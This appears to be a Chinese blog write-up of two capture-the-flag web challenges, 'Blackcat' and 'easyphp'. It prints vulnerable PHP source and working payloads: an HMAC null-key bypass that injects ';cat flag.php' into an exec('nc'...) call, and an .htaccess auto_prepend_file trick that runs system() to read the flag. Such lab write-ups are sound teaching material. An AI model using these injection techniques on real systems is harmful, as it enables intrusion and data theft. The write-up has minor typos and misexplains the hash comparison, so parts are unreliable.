羊城杯2022

Blackcat

tips:strings 查看音频文件

web界面除了一个音频,没有什么可看的地方,右键查看代码也无。
最后下载音频进行查看,使用strings 音频文件在末尾看到源码

Title
APETAGEX
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('
echo exec("nc".$_POST['One-ear']);

首先使用POST方式提交参数Black-Cat-Sheriff和One-ear,clandestine存储环境变量的值。然后clandestine又存储经过hash_hmac函数哈希运算的值,hh存储经过hash_hmac函数哈希运算的值,POST传入Black-Cat-Sheriff的值和hh不相等的话继续执行下面命令。

hash_hmac函数
说明
hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = FALSE ] ) : string
参数

  • algo
    要使用的哈希算法名称,例如:”md5”,”sha256”,”haval160,4” 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。

  • data
    要进行哈希运算的消息。

  • key
    使用 HMAC 生成信息摘要时所使用的密钥。

  • raw_output
    设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。

返回值
如果 raw_output 设置为 TRUE, 则返回原始二进制数据表示的信息摘要, 否则返回 16 进制小写字符串格式表示的信息摘要。 如果 algo 参数指定的不是受支持的算法,返回 FALSE。
1

2

然后还有一个小知识点就是

hash_hmac($algo, $data, $key)
当data为数组时,返回值为null(空)。

再看代码:

echo exec(“nc”.$_POST[‘One-ear’]);

传入One-ear;cat flag.php,为了拿到flag文件。
$clandestine = hash_hmac(‘sha256’, $_POST[‘White-cat-monitor’], $clandestine);

传入White-cat-monitor为数组形式让clandestine返回为空(null)

if($hh !== $_POST[‘Black-Cat-Sheriff’])

如果要满足条件的话将下面代码运行的结果赋值给Black-Cat-Sheriff

<?php
$a=hash_hmac('sha256', ";cat flag.php", null);
echo $a;

原理就是$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);中的$clandestine此时受上面$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);的影响,此时$clandestine为null。即满足了条件。
3

easyphp

tips:.htaccess文件

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

这里以参数content和filename传入文件内容和文件名,内容中不能带有on,html,type,flag,upload,file。并且文件名只能是小写字母。
file_put_contents($filename, $content . "\nHello, world");
这里的文件内容会拼接上helloworld。
写入内容如下:

php_value auto_prepend_fil\ e .htaccess #<?php system('cat /fla?);?>\

php_value auto_prepend_file用来在页面底部加载文件,由于file被过滤了,这里使用fil\%0Ae#是为了迎合**.htaccess**的书写形式。尾部的\是为了转义后面的换行符。最后格式为

php_value auto_prepend_fil
e .htaccess
#\hellowprld
如果是
php_value auto_prepend_fil
e .htaccess
#
helloworld
这样会报错500.

5

优秀文章:
羊城杯2020 easyphp — 伪协议的使用时机,—python上传.htaccess的利用 – preg_match绕过_Zero_Adam的博客-程序员宅基地

Apache的.htaccess利用技巧

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信